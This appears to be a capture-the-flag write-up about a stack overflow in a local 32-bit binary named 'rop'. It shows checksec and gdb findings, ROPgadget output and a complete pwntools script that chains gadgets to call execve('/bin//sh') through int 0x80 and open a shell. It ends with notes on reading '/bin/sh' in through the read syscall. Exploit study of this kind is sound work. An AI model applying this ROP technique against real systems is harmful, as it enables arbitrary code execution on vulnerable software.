firstly use checksec file,the NX is enabled,so we can’t use ret2shellcode or ret2text. check the elf is vulnerable ,and can easily find stack overflow. and use gdb can get the overflow size is 0x6c
so we just use sys_execve(“/bin/sh”,NULL,NULL) to system call
in this web we can find every system call number and param, https://syscalls32.paolostivanin.com/,for example execve so we need find shellcode of “int 0x80” address is 0x08049421
1 2 3 4 5 6 7 8 9
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfc
Unique gadgets found: 4
then set
1 2 3 4
eax 0xb ebx address of "/bin/sh" ecx 0 edx 0
we can use gadget to seek. for example eax
1 2 3 4
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'eax' 0x080bb196 : pop eax ; ret bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'ebx' 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
#encoding=utf-8 from pwn import * #!/usr/bin/env python2 # execve generated by ROPgadget
from struct import pack sh=process("./rop") # Padding goes here p = 'a'*0x70
p += pack('<I', 0x0806eb6a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bb196) # pop eax ; ret p += '/bin' p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806eb6a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bb196) # pop eax ; ret p += '//sh' p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806eb6a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054590) # xor eax, eax ; ret p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x0806eb6a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054590) # xor eax, eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x0807b5bf) # inc eax ; ret p += pack('<I', 0x08049421) # int 0x80 print(p) sh.sendline(p) sh.interactive()
is so interesting
poc4
if we can’t find string “/bin/sh”,how can we pwn it? we can read string “/bin/sh” as buf ,the use this buf as param to system call exe. so we find how to read string as buf.
1 2 3 4
eax 0x3 ebx 0 ecx address of buf edx 0x10
but if we use ROPgadget --binary rop --only 'int' to system call,we can juet use once it. so if we want system call multiple times,we need use opcode.